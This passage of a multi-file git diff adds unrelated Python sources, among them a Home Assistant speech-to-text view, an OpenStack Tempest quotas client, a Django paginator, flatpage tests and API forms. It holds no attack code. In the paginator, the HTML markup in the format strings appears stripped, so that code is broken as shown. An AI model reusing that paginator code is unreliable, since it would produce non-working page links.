np.array(cell[1], float) + types = np.array(cell[2], int) + znucl = np.array(cell[3], int) + if len(rxyz) != len(types) or len(set(types)) != len(znucl): + raise ValueError('Something wrong with rxyz / types / znucl.') + return lat, rxyz, types, znucl + diff --git a/pool/shard008/Python/0077915_init__.py b/pool/shard008/Python/0077915_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..b4e22f1cdd23745a635a3692f2ac292f3e1c3360 --- /dev/null +++ b/pool/shard008/Python/0077915_init__.py @@ -0,0 +1,238 @@ +"""Provide functionality to STT.""" +from __future__ import annotations + +from abc import ABC, abstractmethod +import asyncio +import logging +from typing import Any + +from aiohttp import StreamReader, web +from aiohttp.hdrs import istr +from aiohttp.web_exceptions import ( + HTTPBadRequest, + HTTPNotFound, + HTTPUnsupportedMediaType, +) +import attr + +from homeassistant.components.http import HomeAssistantView +from homeassistant.core import HomeAssistant, callback +from homeassistant.helpers import config_per_platform, discovery +from homeassistant.helpers.typing import ConfigType +from homeassistant.setup import async_prepare_setup_platform + +from .const import ( + DOMAIN, + AudioBitRates, + AudioChannels, + AudioCodecs, + AudioFormats, + AudioSampleRates, + SpeechResultState, +) + +# mypy: allow-untyped-defs, no-check-untyped-defs + +_LOGGER = logging.getLogger(__name__) + + +async def async_setup(hass: HomeAssistant, config: ConfigType) -> bool: + """Set up STT.""" + providers = {} + + async def async_setup_platform(p_type, p_config=None, discovery_info=None): + """Set up a TTS platform.""" + if p_config is None: + p_config = {} + + platform = await async_prepare_setup_platform(hass, config, DOMAIN, p_type) + if platform is None: + return + + try: + provider = await platform.async_get_engine(hass, p_config, discovery_info) + if provider is None: + _LOGGER.error("Error setting up platform %s", p_type) + return + + provider.name = p_type + provider.hass = hass + + providers[provider.name] = provider + except Exception: # pylint: disable=broad-except + _LOGGER.exception("Error setting up platform: %s", p_type) + return + + setup_tasks = [ + asyncio.create_task(async_setup_platform(p_type, p_config)) + for p_type, p_config in config_per_platform(config, DOMAIN) + ] + + if setup_tasks: + await asyncio.wait(setup_tasks) + + # Add discovery support + async def async_platform_discovered(platform, info): + """Handle for discovered platform.""" + await async_setup_platform(platform, discovery_info=info) + + discovery.async_listen_platform(hass, DOMAIN, async_platform_discovered) + + hass.http.register_view(SpeechToTextView(providers)) + return True + + +@attr.s +class SpeechMetadata: + """Metadata of audio stream.""" + + language: str = attr.ib() + format: AudioFormats = attr.ib() + codec: AudioCodecs = attr.ib() + bit_rate: AudioBitRates = attr.ib(converter=int) + sample_rate: AudioSampleRates = attr.ib(converter=int) + channel: AudioChannels = attr.ib(converter=int) + + +@attr.s +class SpeechResult: + """Result of audio Speech.""" + + text: str | None = attr.ib() + result: SpeechResultState = attr.ib() + + +class Provider(ABC): + """Represent a single STT provider.""" + + hass: HomeAssistant | None = None + name: str | None = None + + @property + @abstractmethod + def supported_languages(self) -> list[str]: + """Return a list of supported languages.""" + + @property + @abstractmethod + def supported_formats(self) -> list[AudioFormats]: + """Return a list of supported formats.""" + + @property + @abstractmethod + def supported_codecs(self) -> list[AudioCodecs]: + """Return a list of supported codecs.""" + + @property + @abstractmethod + def supported_bit_rates(self) -> list[AudioBitRates]: + """Return a list of supported bit rates.""" + + @property + @abstractmethod + def supported_sample_rates(self) -> list[AudioSampleRates]: + """Return a list of supported sample rates.""" + + @property + @abstractmethod + def supported_channels(self) -> list[AudioChannels]: + """Return a list of supported channels.""" + + @abstractmethod + async def async_process_audio_stream( + self, metadata: SpeechMetadata, stream: StreamReader + ) -> SpeechResult: + """Process an audio stream to STT service. + + Only streaming of content are allow! + """ + + @callback + def check_metadata(self, metadata: SpeechMetadata) -> bool: + """Check if given metadata supported by this provider.""" + if ( + metadata.language not in self.supported_languages + or metadata.format not in self.supported_formats + or metadata.codec not in self.supported_codecs + or metadata.bit_rate not in self.supported_bit_rates + or metadata.sample_rate not in self.supported_sample_rates + or metadata.channel not in self.supported_channels + ): + return False + return True + + +class SpeechToTextView(HomeAssistantView): + """STT view to generate a text from audio stream.""" + + requires_auth = True + url = "/api/stt/{provider}" + name = "api:stt:provider" + + def __init__(self, providers: dict[str, Provider]) -> None: + """Initialize a tts view.""" + self.providers = providers + + @staticmethod + def _metadata_from_header(request: web.Request) -> SpeechMetadata | None: + """Extract metadata from header. + + X-Speech-Content: format=wav; codec=pcm; sample_rate=16000; bit_rate=16; channel=1; language=de_de + """ + try: + data = request.headers[istr("X-Speech-Content")].split(";") + except KeyError: + _LOGGER.warning("Missing X-Speech-Content") + return None + + # Convert Header data + args: dict[str, Any] = {} + for value in data: + value = value.strip() + args[value.partition("=")[0]] = value.partition("=")[2] + + try: + return SpeechMetadata(**args) + except TypeError as err: + _LOGGER.warning("Wrong format of X-Speech-Content: %s", err) + return None + + async def post(self, request: web.Request, provider: str) -> web.Response: + """Convert Speech (audio) to text.""" + if provider not in self.providers: + raise HTTPNotFound() + stt_provider: Provider = self.providers[provider] + + # Get metadata + metadata = self._metadata_from_header(request) + if not metadata: + raise HTTPBadRequest() + + # Check format + if not stt_provider.check_metadata(metadata): + raise HTTPUnsupportedMediaType() + + # Process audio stream + result = await stt_provider.async_process_audio_stream( + metadata, request.content + ) + + # Return result + return self.json(attr.asdict(result)) + + async def get(self, request: web.Request, provider: str) -> web.Response: + """Return provider specific audio information.""" + if provider not in self.providers: + raise HTTPNotFound() + stt_provider: Provider = self.providers[provider] + + return self.json( + { + "languages": stt_provider.supported_languages, + "formats": stt_provider.supported_formats, + "codecs": stt_provider.supported_codecs, + "sample_rates": stt_provider.supported_sample_rates, + "bit_rates": stt_provider.supported_bit_rates, + "channels": stt_provider.supported_channels, + } + ) diff --git a/pool/shard008/Python/0077916_contactcenterinsights_v1_generated_contact_center_insights_create_issue_model_sync.py b/pool/shard008/Python/0077916_contactcenterinsights_v1_generated_contact_center_insights_create_issue_model_sync.py new file mode 100644 index 0000000000000000000000000000000000000000..ed94d72b0789810e71becc315977a44bb05ea859 --- /dev/null +++ b/pool/shard008/Python/0077916_contactcenterinsights_v1_generated_contact_center_insights_create_issue_model_sync.py @@ -0,0 +1,49 @@ +# -*- coding: utf-8 -*- +# Copyright 2022 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# Generated code. DO NOT EDIT! +# +# Snippet for CreateIssueModel +# NOTE: This snippet has been automatically generated for illustrative purposes only. +# It may require modifications to work in your environment. + +# To install the latest published package dependency, execute the following: +# python3 -m pip install google-cloud-contact-center-insights + + +# [START contactcenterinsights_v1_generated_ContactCenterInsights_CreateIssueModel_sync] +from google.cloud import contact_center_insights_v1 + + +def sample_create_issue_model(): + # Create a client + client = contact_center_insights_v1.ContactCenterInsightsClient() + + # Initialize request argument(s) + request = contact_center_insights_v1.CreateIssueModelRequest( + parent="parent_value", + ) + + # Make the request + operation = client.create_issue_model(request=request) + + print("Waiting for operation to complete...") + + response = operation.result() + + # Handle the response + print(response) + +# [END contactcenterinsights_v1_generated_ContactCenterInsights_CreateIssueModel_sync] diff --git a/pool/shard008/Python/0077920_wrf_var.py b/pool/shard008/Python/0077920_wrf_var.py new file mode 100644 index 0000000000000000000000000000000000000000..6dc13e6cf149120dee965363bec86aee59206098 --- /dev/null +++ b/pool/shard008/Python/0077920_wrf_var.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python +#-*- coding:utf-8 -*- + +import numpy as np +import netCDF4 +import math +import sys +import datetime + +from math import pi +from numpy import cos, sin, arccos, power, sqrt, exp, arctan2, argmin, argmax, arctan + +##Chuva +def _get_rain(WRFfile, ixWRF, iyWRF, date0, utc): + rain_cu = WRFfile.variables['RAINC'] + rain_ncu = WRFfile.variables['RAINNC'] + time = WRFfile.variables['Times'] + max_i = len(time) + + rain_hour = [] + for i in range(0, max_i): + if i == 0: + rain_hour.append(rain_cu[i, ixWRF, iyWRF] + rain_ncu[i, ixWRF, iyWRF]) + else: + rain_hour.append((rain_cu[i, ixWRF, iyWRF] + rain_ncu[i, ixWRF, iyWRF]) - (rain_cu[i - 1, ixWRF, iyWRF] + rain_ncu[i - 1, ixWRF, iyWRF])) + + maxx = max_i // 24 + date = [] + rain_day = [] + b=0 + a=24 + for i in range(0, maxx): + if a >= max_i: + break + d1 = date0 + datetime.timedelta(hours = 6) + datetime.timedelta(days = i) + datetime.timedelta(hours = utc) + rain_day.append(sum(rain_hour[b:a])) + date.append(d1) + b = a + a += 24 + return(date, rain_day) +##Temperatura +def _get_temp(WRFfile, ixWRF, iyWRF, date0, utc): + temp_k = WRFfile.variables['T2'] + time = WRFfile.variables['Times'] + max_i = len(time) + + temp_hour = [] + for i in range(0, max_i): + temp_hour.append(temp_k[i, ixWRF, iyWRF] - 273.15) + maxx = max_i // 24 + date = [] + temp_day = [] + temp_max = [] + temp_min = [] + b=0 + a=24 + for i in range(0, maxx): + if a >= max_i: + break + d1 = date0 + datetime.timedelta(hours = 6) + datetime.timedelta(days = i) + datetime.timedelta(hours = utc) + temp_day.append(np.mean(temp_hour[b:a])) + temp_min.append(min(temp_hour[b:a])) + temp_max.append(max(temp_hour[b:a])) + date.append(d1) + + b = a + a += 24 + + return(date, temp_max, temp_min) + diff --git a/pool/shard008/Python/0077922_quotas_client.py b/pool/shard008/Python/0077922_quotas_client.py new file mode 100644 index 0000000000000000000000000000000000000000..dd796aa06fb0e3a7b03189337b9d8fbe02b6f1ef --- /dev/null +++ b/pool/shard008/Python/0077922_quotas_client.py @@ -0,0 +1,103 @@ +# Copyright 2012 NTT Data +# All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +from urllib import parse as urllib + +from oslo_serialization import jsonutils as json + +from tempest.lib.api_schema.response.compute.v2_1 import quotas as schema +from tempest.lib.api_schema.response.compute.v2_36 import quotas as schemav236 +from tempest.lib.api_schema.response.compute.v2_57 import quotas as schemav257 +from tempest.lib.common import rest_client +from tempest.lib.services.compute import base_compute_client + + +class QuotasClient(base_compute_client.BaseComputeClient): + + schema_versions_info = [ + {'min': None, 'max': '2.35', 'schema': schema}, + {'min': '2.36', 'max': '2.56', 'schema': schemav236}, + {'min': '2.57', 'max': None, 'schema': schemav257}] + + def show_quota_set(self, tenant_id, user_id=None, detail=False): + """List the quota set for a tenant. + + For a full list of available parameters, please refer to the official + API reference: + https://docs.openstack.org/api-ref/compute/#show-a-quota + https://docs.openstack.org/api-ref/compute/#show-the-detail-of-quota + """ + + params = {} + url = 'os-quota-sets/%s' % tenant_id + if detail: + url += '/detail' + if user_id: + params.update({'user_id': user_id}) + if params: + url += '?%s' % urllib.urlencode(params) + resp, body = self.get(url) + body = json.loads(body) + schema = self.get_schema(self.schema_versions_info) + if detail: + self.validate_response(schema.get_quota_set_details, resp, body) + else: + self.validate_response(schema.get_quota_set, resp, body) + return rest_client.ResponseBody(resp, body) + + def show_default_quota_set(self, tenant_id): + """List the default quota set for a tenant. + + https://docs.openstack.org/api-ref/compute/#list-default-quotas-for-tenant + """ + + url = 'os-quota-sets/%s/defaults' % tenant_id + resp, body = self.get(url) + body = json.loads(body) + schema = self.get_schema(self.schema_versions_info) + self.validate_response(schema.get_quota_set, resp, body) + return rest_client.ResponseBody(resp, body) + + def update_quota_set(self, tenant_id, user_id=None, **kwargs): + """Updates the tenant's quota limits for one or more resources. + + For a full list of available parameters, please refer to the official + API reference: + https://docs.openstack.org/api-ref/compute/#update-quotas + """ + + post_body = json.dumps({'quota_set': kwargs}) + + if user_id: + resp, body = self.put('os-quota-sets/%s?user_id=%s' % + (tenant_id, user_id), post_body) + else: + resp, body = self.put('os-quota-sets/%s' % tenant_id, + post_body) + + body = json.loads(body) + schema = self.get_schema(self.schema_versions_info) + self.validate_response(schema.update_quota_set, resp, body) + return rest_client.ResponseBody(resp, body) + + def delete_quota_set(self, tenant_id): + """Delete the tenant's quota set. + + https://docs.openstack.org/api-ref/compute/#revert-quotas-to-defaults + """ + resp, body = self.delete('os-quota-sets/%s' % tenant_id) + schema = self.get_schema(self.schema_versions_info) + self.validate_response(schema.delete_quota, resp, body) + return rest_client.ResponseBody(resp, body) diff --git a/pool/shard008/Python/0077928_quick_sort.py b/pool/shard008/Python/0077928_quick_sort.py new file mode 100644 index 0000000000000000000000000000000000000000..85662ea8f11a2d64df1c0144fd2b5c3a464690b5 --- /dev/null +++ b/pool/shard008/Python/0077928_quick_sort.py @@ -0,0 +1,70 @@ +import random + + +count = 0 + +def quick_sort(data): + + quick_sort_helper(data, 0, len(data) - 1) + +def quick_sort_helper(data, first, last): + global count + count += 1 + if first < last: + splitpoint = partition(data, first, last) + + quick_sort_helper(data, first, splitpoint - 1) + quick_sort_helper(data, splitpoint + 1, last) + +def partition(data, first, last): + pivotvalue = data[first] + + leftmark = first + 1 + rightmark = last + + done = False + + while not done: + + while leftmark <= rightmark and data[leftmark] <= pivotvalue: + leftmark = leftmark + 1 + + while data[rightmark] >= pivotvalue and rightmark >= leftmark: + rightmark = rightmark - 1 + + if rightmark < leftmark: + done = True + else: + tmp = data[leftmark] + data[leftmark] = data[rightmark] + data[rightmark] = tmp + + tmp = data[first] + data[first] = data[rightmark] + data[rightmark] = tmp + + return rightmark + + + +def main(): + + print("Prepare to validate the sorting algorithm.") + original_numbers = list(range(100)) + random.shuffle(original_numbers) + + print("The size of array is " + str(len(original_numbers))) + print("=================< original numbers >=======================") + print(original_numbers) + + quick_sort(original_numbers) + + + print("=================< sorted numbers >=======================") + + print(original_numbers) + + global count + print("sort count -> " + str(count)) + +main() diff --git a/pool/shard008/Python/0077929_Queue.py b/pool/shard008/Python/0077929_Queue.py new file mode 100644 index 0000000000000000000000000000000000000000..f999c3b27aa318ee6af3263639240ad1a5ad59e4 --- /dev/null +++ b/pool/shard008/Python/0077929_Queue.py @@ -0,0 +1,32 @@ +from eventlet import queue + +__all__ = ['Empty', 'Full', 'LifoQueue', 'PriorityQueue', 'Queue'] + +__patched__ = ['LifoQueue', 'PriorityQueue', 'Queue'] + +# these classes exist to paper over the major operational difference between +# eventlet.queue.Queue and the stdlib equivalents + + +class Queue(queue.Queue): + def __init__(self, maxsize=0): + if maxsize == 0: + maxsize = None + super(Queue, self).__init__(maxsize) + + +class PriorityQueue(queue.PriorityQueue): + def __init__(self, maxsize=0): + if maxsize == 0: + maxsize = None + super(PriorityQueue, self).__init__(maxsize) + + +class LifoQueue(queue.LifoQueue): + def __init__(self, maxsize=0): + if maxsize == 0: + maxsize = None + super(LifoQueue, self).__init__(maxsize) + +Empty = queue.Empty +Full = queue.Full diff --git a/pool/shard008/Python/0077930_pager.py b/pool/shard008/Python/0077930_pager.py new file mode 100644 index 0000000000000000000000000000000000000000..0a98b3883868193119c356aff93dc56882f589a5 --- /dev/null +++ b/pool/shard008/Python/0077930_pager.py @@ -0,0 +1,119 @@ + +class Paginator(object): + def __init__(self, all_count, current_page, base_url, per_page=10, per_page_count=11, query_params=None): + """ + 分页组件的初始化 + :param all_count: 数据的总条数 + :param current_page: 当前页码 + :param base_url: 基础url + :param per_page: 每页显示的条目数 + :param per_page_count: 显示的页码数 + """ + self.base_url = base_url + self.all_count = all_count + self.per_page = per_page + self.per_page_count = per_page_count + self.query_params = query_params + # request.GET 不是字典类型而是django自带的QueryDict类型(类似字典类型) + # QueryDict具有一个 urlencode方法,可以把QueryDict数据转换成 字符串形式 + # QueryDict.urlencode() # /arya/app01/userinfo/?q=xxx&page=9 + """ + { + keyword:'xxx', + page:2 + } + query_params[page] = 9 + { + keyword:'xxx', + page:9 + } + """ + # 规避类型异常:unsupported operand type(s) for -: 'str' and 'int' + try: + self.current_page = int(current_page) + if self.current_page <= 0: + raise Exception() + except Exception as e: + self.current_page = 1 + + # 计算得出真实的页码数 + pager_count, remainder = divmod(self.all_count, self.per_page) + if 0 != remainder: + pager_count += 1 + self.pager_count = pager_count + # 默认每次显示11个页码(除上一页、下一页、首页和尾页之外)并且让当前选择页码始终居中 + self.half_per_page_count = int(self.per_page_count / 2) + + @property + def start(self): + """ + 数据条目的起始索引 + # x -> items_per_page*(x-1) ~ items_per_page*x + :return: + """ + return self.per_page * (self.current_page - 1) + + @property + def end(self): + """ + 数据条目的结束索引 + # x -> items_per_page*(x-1) ~ items_per_page*x + :return: + """ + return self.per_page * self.current_page + + @property + def page_html(self): + # 获取正确的开始页码和结束页码 + # 判断真实的页码数是否超过 per_page_count + if self.pager_count > self.per_page_count: + # 如果当前页 < half_per_page_count + if self.current_page <= self.half_per_page_count: + pager_start = 1 + pager_end = self.per_page_count + # 如果当前页码 大于 half_per_page_count 并且 小于 pager_count - half_per_page_count + elif self.current_page <= self.pager_count - self.half_per_page_count: + pager_start = self.current_page - self.half_per_page_count + pager_end = self.current_page + self.half_per_page_count + # 如果当前页码大于 pager_count - half_per_page_count + else: + pager_start = self.pager_count - self.per_page_count + 1 + pager_end = self.pager_count + else: + pager_start = 1 + pager_end = self.pager_count + + page_list = [] + self.query_params['page'] = 1 + first_page = '
  • 首页
  • '.format(self.base_url,self.query_params.urlencode()) + page_list.append(first_page) + if self.current_page > 1: + # 注意:query_params 包含了page和keyword + # 这里更改了page对应的值,前一页,所以要把页码减一 + self.query_params['page'] = self.current_page - 1 + prev = '
  • 上一页
  • '.format(self.base_url, self.query_params.urlencode()) + else: + prev = '
  • 上一页
  • ' + page_list.append(prev) + + # 循环生成HTML + for i in range(pager_start, pager_end + 1): + # 生成对应page的url + self.query_params['page'] = i + if i == self.current_page: + tpl = '
  • {2}
  • '.format(self.base_url, self.query_params.urlencode(), i) + else: + tpl = '
  • {2}
  • '.format(self.base_url, self.query_params.urlencode(), i) + page_list.append(tpl) + + if self.current_page < self.pager_count: + self.query_params['page'] = self.current_page + 1 + nex = '
  • 下一页
  • '.format(self.base_url, self.query_params.urlencode()) + else: + nex = '
  • 下一页
  • ' + page_list.append(nex) + self.query_params['page'] = self.pager_count + last_page = '
  • 尾页
  • '.format(self.base_url, self.query_params.urlencode()) + page_list.append(last_page) + page_str = "".join(page_list) + return page_str \ No newline at end of file diff --git a/pool/shard008/Python/0077933_page_tests.py b/pool/shard008/Python/0077933_page_tests.py new file mode 100644 index 0000000000000000000000000000000000000000..6508007a47d2c68c022e66c377fd361f20e9b74c --- /dev/null +++ b/pool/shard008/Python/0077933_page_tests.py @@ -0,0 +1,152 @@ +from django.core.urlresolvers import reverse +from django.contrib.flatpages.models import FlatPage +from oscar.test.testcases import WebTestCase + + +class PageViewTests(WebTestCase): + is_anonymous = False + is_staff = True + + def setUp(self): + self.flatpage_1 = FlatPage.objects.create(title='title1', url='/url1/', + content='some content') + self.flatpage_2 = FlatPage.objects.create(title='title2', url='/url2/', + content='other content') + + super(PageViewTests, self).setUp() + + def test_dashboard_index_is_for_staff_only(self): + response = self.client.get(reverse('dashboard:page-list')) + self.assertTrue('Password' not in response.content.decode('utf8')) + + def test_dashboard_page_list(self): + response = self.client.get(reverse('dashboard:page-list')) + objects = response.context[-1]['object_list'] + + self.assertTrue(self.flatpage_1 in objects) + self.assertTrue(self.flatpage_2 in objects) + + def test_dashboard_create_page_with_existing_url(self): + self.assertEqual(FlatPage.objects.count(), 2) + + self.client.post('/dashboard/pages/', data={ + 'title': 'test', + 'url': '/dashboard/pages/', + }, follow=True) + + # Only the two existing flatpages should be saved. + self.assertEqual(FlatPage.objects.count(), 2) + + def test_dashboard_create_page_with_custom_url(self): + self.assertEqual(FlatPage.objects.count(), 2) + + self.client.post('/dashboard/pages/create/', data={ + 'title': 'Test Page', + 'url': '/test/page/', + 'content': "

    Content

    " + }, follow=True) + + self.assertEqual(FlatPage.objects.count(), 3) + + page = FlatPage.objects.get(pk=3) + self.assertEqual(page.title, 'Test Page') + self.assertEqual(page.url, '/test/page/') + self.assertEqual(page.content, "

    Content

    ") + self.assertEqual(page.sites.count(), 1) + + def test_dashboard_create_page_with_slugified_url(self): + self.assertEqual(FlatPage.objects.count(), 2) + + self.client.post('/dashboard/pages/create/', data={ + 'title': 'New Page', 'content': "" + }, follow=True) + + self.assertEqual(FlatPage.objects.count(), 3) + + page = FlatPage.objects.get(pk=3) + self.assertEqual(page.title, 'New Page') + self.assertEqual(page.url, '/new-page/') + self.assertEqual(page.content, "") + self.assertEqual(page.sites.count(), 1) + + def test_dashboard_create_page_with_exisiting_url_does_not_work(self): + self.assertEqual(FlatPage.objects.count(), 2) + + self.client.post('/dashboard/pages/create/', data={ + 'title': 'New Page', 'content': "" + }, follow=True) + + self.client.post('/dashboard/pages/create/', data={ + 'title': 'New Page', 'content': "" + }, follow=True) + + self.assertEqual(FlatPage.objects.count(), 3) + + def test_dashboard_update_page_valid_url(self): + self.client.post('/dashboard/pages/update/1/', data={ + 'title': 'Test Page', + 'url': '/test/page/', + 'content': "

    Content

    " + }, follow=True) + + self.assertEqual(FlatPage.objects.count(), 2) + + page = FlatPage.objects.get(pk=1) + self.assertEqual(page.title, 'Test Page') + self.assertEqual(page.url, '/test/page/') + self.assertEqual(page.content, "

    Content

    ") + self.assertEqual(page.sites.count(), 1) + + def test_dashboard_update_page_invalid_url(self): + self.assertEqual(self.flatpage_1.title, 'title1') + + self.client.post('/dashboard/pages/update/1/', data={ + 'title': 'Test Page', + 'url': '/url2/', + 'content': "

    Content

    " + }, follow=True) + + self.assertEqual(FlatPage.objects.count(), 2) + + page = FlatPage.objects.get(pk=1) + self.assertEqual(page.title, 'title1') + self.assertEqual(page.url, '/url1/') + self.assertEqual(page.content, "some content") + + def test_dashboard_update_page_valid_url_unchanged(self): + self.client.post('/dashboard/pages/update/1/', data={ + 'title': 'Test Page', + 'url': '/url1/', + 'content': "

    Content

    " + }, follow=True) + + self.assertEqual(FlatPage.objects.count(), 2) + + page = FlatPage.objects.get(pk=1) + self.assertEqual(page.title, 'Test Page') + self.assertEqual(page.url, '/url1/') + self.assertEqual(page.content, "

    Content

    ") + + # now only update the URL + self.client.post('/dashboard/pages/update/1/', data={ + 'title': 'Test Page', + 'url': '/new/url/', + 'content': "

    Content

    " + }, follow=True) + + self.assertEqual(FlatPage.objects.count(), 2) + + page = FlatPage.objects.get(pk=1) + self.assertEqual(page.title, 'Test Page') + self.assertEqual(page.url, '/new/url/') + self.assertEqual(page.content, "

    Content

    ") + + def test_dashboard_delete_pages(self): + self.client.post('/dashboard/pages/delete/1/', follow=True) + + self.assertEqual(FlatPage.objects.count(), 1) + + page = FlatPage.objects.get(pk=2) + self.assertEqual(page.title, 'title2') + self.assertEqual(page.url, '/url2/') + self.assertEqual(page.content, "other content") diff --git a/pool/shard008/Python/0077934_propserial.py b/pool/shard008/Python/0077934_propserial.py new file mode 100644 index 0000000000000000000000000000000000000000..fbc06a0fba687892951cb789a84d27861752de3c --- /dev/null +++ b/pool/shard008/Python/0077934_propserial.py @@ -0,0 +1,67 @@ +# +# Copyright (C) 2013 Uninett AS +# +# This file is part of Network Administration Visualized (NAV). +# +# NAV is free software: you can redistribute it and/or modify it under +# the terms of the GNU General Public License version 3 as published by +# the Free Software Foundation. +# +# This program is distributed in the hope that it will be useful, but WITHOUT +# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +# details. You should have received a copy of the GNU General Public License +# along with NAV. If not, see . +# +"""retrieves chassis serial numbers from various proprietary MIBs""" + +from twisted.internet import defer + +from nav.ipdevpoll import Plugin +from nav.ipdevpoll.shadows import Netbox, Device, NetboxEntity +from nav.models import manage + +from nav.mibs.hp_httpmanageable_mib import HPHTTPManageableMib +from nav.mibs.juniper_mib import JuniperMib +from nav.mibs.powernet_mib import PowerNetMib +from nav.enterprise.ids import (VENDOR_ID_HEWLETT_PACKARD, + VENDOR_ID_AMERICAN_POWER_CONVERSION_CORP, + VENDOR_ID_JUNIPER_NETWORKS_INC) + + +VENDOR_MIBS = { + VENDOR_ID_HEWLETT_PACKARD: HPHTTPManageableMib, + VENDOR_ID_AMERICAN_POWER_CONVERSION_CORP: PowerNetMib, + VENDOR_ID_JUNIPER_NETWORKS_INC: JuniperMib, +} + + +class ProprietarySerial(Plugin): + """retrieves chassis serial numbers from various proprietary MIBs""" + RESTRICT_TO_VENDORS = VENDOR_MIBS.keys() + + @defer.inlineCallbacks + def handle(self): + vendor_id = self.netbox.type.get_enterprise_id() + mibclass = VENDOR_MIBS.get(vendor_id, None) + if mibclass: + mib = mibclass(self.agent) + serial = yield mib.get_serial_number() + if serial: + self._logger.debug("got a chassis serial number from %s: %r", + mib.mib.get('moduleName', None), serial) + self._set_chassis_serial(serial, mib.mib.get('moduleName')) + + def _set_chassis_serial(self, serial, source): + netbox = self.containers.factory(None, Netbox) + chassis = NetboxEntity.get_chassis_entities(self.containers) + if not chassis: + entity = self.containers.factory(None, NetboxEntity) + device = self.containers.factory(serial, Device) + device.serial = serial + + entity.netbox = netbox + entity.index = 0 + entity.source = source + entity.physical_class = manage.NetboxEntity.CLASS_CHASSIS + entity.device = device diff --git a/pool/shard008/Python/0077938_forms.py b/pool/shard008/Python/0077938_forms.py new file mode 100644 index 0000000000000000000000000000000000000000..99bfbacdb6cf78f40990edf5a3ebd7cc77501521 --- /dev/null +++ b/pool/shard008/Python/0077938_forms.py @@ -0,0 +1,126 @@ +import requests +import logging + +from django import forms +from django.utils.translation import ugettext as _ +from django.contrib.auth.models import User +from django.db import models + +import api_client + +logger = logging.getLogger(__name__) + +def _drop_empty_id(my_vals): + if 'id' in my_vals and not my_vals['id']: + del my_vals['id'] + return my_vals + +class ApiForm(forms.Form): + id = forms.CharField(widget=forms.HiddenInput, required=False) + + def save(self, request=None): + try: + res = api_client.save(self, request=request) + res.raise_for_status() + except (requests.exceptions.HTTPError) as err: + logger.error(err) + raise err +# return False + return True + +class UserForm(ApiForm): + class Meta: + api_path = "user/" + + +class SignupForm(UserForm): + + class Meta(UserForm.Meta): + api_path = "register/" + fields = ('email', 'username') + def to_dict(self, request=None): + my_vals = { + 'email': self.cleaned_data.get('email', ''), + 'username': self.cleaned_data.get('username', ''), + 'password': self.cleaned_data.get('password', None), + 'id': self.cleaned_data.get('id', None) + } + if not my_vals['password']: + del my_vals['password'] + if not my_vals['id']: + del my_vals['id'] + return my_vals + + email = forms.EmailField(required = True) + username = forms.CharField(max_length=50) + password1 = forms.CharField(widget=forms.PasswordInput(render_value=False), + label=_("Password")) + password2 = forms.CharField(widget=forms.PasswordInput(render_value=False), + label=_("Password (again)")) + + def clean(self): + """ + Verifiy that the values entered into the two password fields + match. + """ + if 'password1' in self.cleaned_data and 'password2' in self.cleaned_data: + if self.cleaned_data['password1'] != self.cleaned_data['password2']: + raise forms.ValidationError("The two password fields didn't match.") + self.cleaned_data['password'] = self.cleaned_data['password1'] + return self.cleaned_data + +class TopicForm(ApiForm): + class Meta: + api_path = "topic/" + fields = ('name', 'blurb') + + _logger = logging.getLogger(__name__) + + name = forms.CharField(max_length=50, required=True, label="Topic") + blurb = forms.CharField(max_length=500, required=False, widget=forms.Textarea, label="Summary") + id = forms.CharField(widget=forms.HiddenInput, required=False) + + def to_dict(self, request=None): + my_vals = { + 'name': self.cleaned_data.get('name', None), + 'blurb': self.cleaned_data.get('blurb', None), + 'id': self.cleaned_data.get('id', None) + } + return _drop_empty_id(my_vals) + +class CommentForm(ApiForm): + class Meta: + api_path = "comment/" + fields = ('topic', 'in_reply_to', 'comment_body', 'id') + exclude = ("is_hidden",) + + _logger = logging.getLogger(__name__) + + topic = forms.CharField(max_length=500, required=True, widget=forms.HiddenInput) + comment_body = forms.CharField(required=True, widget=forms.Textarea, label="Comment") + + in_reply_to = forms.CharField(widget=forms.HiddenInput, required=False) + + def clean_topic(self): + data = self.cleaned_data['topic'] + if data: + return "{}/{}/{}/".format(api_client.API_PATH, 'topic', data) + else: + raise forms.ValidationError("No topic specified") + + def clean_in_reply_to(self): + data = self.cleaned_data['in_reply_to'] + if not data: + return None + else: + return data + + def to_dict(self, request=None): + my_vals = { + 'topic': self.cleaned_data.get('topic', None), + 'in_reply_to': self.cleaned_data.get('in_reply_to', None), + 'comment_body': self.cleaned_data.get('comment_body', None), + 'author': request.user.username, + 'id': self.cleaned_data.get('id', None) + } + return _drop_empty_id(my_vals) diff --git a/pool/shard008/Python/0077940_decision_tree_regression_example.py b/pool/shard008/Python/0077940_decision_tree_regression_example.py new file mode 100644 index 0000000000000000000000000000000000000000..1ed1636a3d962e5b51785eb71c6aaf756e0b851b --- /dev/null +++ b/pool/shard008/Python/0077940_decision_tree_regression_example.py @@ -0,0 +1,73 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +""" +Decision Tree Regression Example. +""" +# $example on$ +from pyspark.ml import Pipeline +from pyspark.ml.regression import DecisionTreeRegressor +from pyspark.ml.feature import VectorIndexer +from pyspark.ml.evaluation 